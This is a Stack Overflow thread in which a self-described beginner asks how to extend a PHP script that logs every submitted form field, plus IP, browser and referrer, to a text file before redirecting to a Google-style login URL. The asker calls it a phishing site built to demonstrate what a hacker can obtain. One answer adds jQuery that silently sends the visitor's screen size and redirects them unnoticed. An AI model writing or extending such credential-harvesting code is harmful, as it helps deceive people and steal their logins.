0

I have an existing piece of code which I use to log certain data to a text file:

<?php

    header("Location: https://www.example.com/accounts/ServiceLoginAuth ");
    $handle = fopen("file.txt", "a");

    $post = $_POST;
    $post['IP'] = $_SERVER['REMOTE_ADDR'];
    $post['Browser/UserAgent'] = $_SERVER['HTTP_USER_AGENT'];
    $post['Referrer'] = $_SERVER['HTTP_REFERER'];
    $post['Date&Time'] = date("l jS \of F Y h:i:s A");

    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }

    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;

?>

I also want to record the screen resolution but apparently, there is no way to do this and is only possible with JS:

var screenWidth = window.screen.width,
    screenHeight = window.screen.height;

So how do I get this info to be recorded in the same file?

PS: I cannot use jquery... :(

*****EDIT*****

Ok, I can use JQuery but the output still needs to be in the same text file...

Community
  • 1
  • 1
undo
  • 219
  • 3
  • 17
  • I also happen to a complete noob... – undo Jun 03 '15 at 16:48
  • POST the data from the page and get it to your function, then save it. – logan Sarav Jun 03 '15 at 16:52
  • i think this will solve your problem http://stackoverflow.com/questions/1504459/getting-the-screen-resolution-using-php – logan Sarav Jun 03 '15 at 16:56
  • possible duplicate of [Get user's screen&viewport dimensions in php on first load](http://stackoverflow.com/questions/18101207/get-users-screenviewport-dimensions-in-php-on-first-load) – showdev Jun 03 '15 at 17:01
  • How is this a duplicate? – undo Jun 03 '15 at 17:30
  • I should warn you that the user can resize their browser at any time. Your "screenWidth" variable may be out of date very soon, if you're using it for UI sizing anything. – Katana314 Jun 04 '15 at 18:12
  • @Katana314 I realize that... But most people maximize their windows... – undo Jun 04 '15 at 18:26
  • @RahulBasu It may be a slim majority. I sometimes un-maximize my window, dock it to one side of the screen, etc; or, if I'm on a tablet, I might switch to portrait mode for reading a long article. I could identify whether it's a problem if you explain what you intend to use it for - your choice. – Katana314 Jun 04 '15 at 19:06
  • @Katana314, I am working on a project which demonstrates how much information a hacker can obtain using a simple phishing site :P But now I realize that I should probably leave screen resolution out of it... – undo Jun 05 '15 at 05:05

2 Answers2

1

One way that comes to mind, is instead of having your existing code in the page the user lands on, have a new file with the Javascript, which like you already know can get the resolution.

Then, have that new initial page POST the resolution variables to your php script in the background, then the resolution variables will be part of the POST array and can store them with the rest of your existing POST data.

POST'ing data using Javascript is fairly routine, and would probably be it's own topic, but I'm sure you could find unlimited examples around the web, JQuery does do it with less code, but too bad that's not an option :(

Edit: Example below is posting to the php using jQuery

Make new "landing.php" (doesn't have to be .php, could be .html) or what ever name you want, and have this be where the user lands first, and put this in it. It could be an existing page that your user might already land on, in which case just put this in the bottom. Then it will happen in the background while the user goes about their business.

<script type="text/javascript">

    var screenWidth = window.screen.width,
        screenHeight = window.screen.height;

    $.post('name_and_path_of_php_file_you_already_created.php', { 
            screenWidth: screenWidth, 
            screenHeight: screenHeight 
          }, function(data) {

                // Can do something extra here, most likely redirect your 
                // user to a more meaningful page after the file is created
                // using something like.

                window.location.href = 'some_meaning_page.php';

                // Also in this case, 'data' variable will hold anything
                // Outputted from the PHP if any, and is optional, but can
                // be useful for echo'ing out some status code or something
                // and make a decision.

        });

</script>

Because your existing php script already loops through the $_POST array ($post in your case) and makes key/value pairs, then this means the 'screenWidth' and 'screenHeight' key/values will be automatically added to the file with your other variables.

If you are able to add this to an existing page you know the user is landing on, then you probably don't need to redirect with the 'window.location.href', but if it's the first page, then they wont see anything, and you would want to redirect them to some content, and to them it would happen so fast they wouldn't really know they were on one page and sent to another, it would just look like the page they went to was loading normally.

Let me know if this is not clear, or if need help with another aspect.

1

You can't, at least at the same time.

While your php is executing, your page is still pending to be send to the client (or it is in process to do).

Your javascript will be executed while the page is loading in client side and there is no chance to act over browser's http connection to your server.

So, if you want to get this data in server side, you should send it via ajax to some script that receive it.

Ok. It could modify same file. But be careful to not overlap your other script execution so you could end up with unexpected result.

Also take in mind that you can't be sure that client will effectively execute your javascript or even could it complete ajax connection to send you that information so you need to be perepared to have incomplete registers.

bitifet
  • 3,083
  • 13
  • 30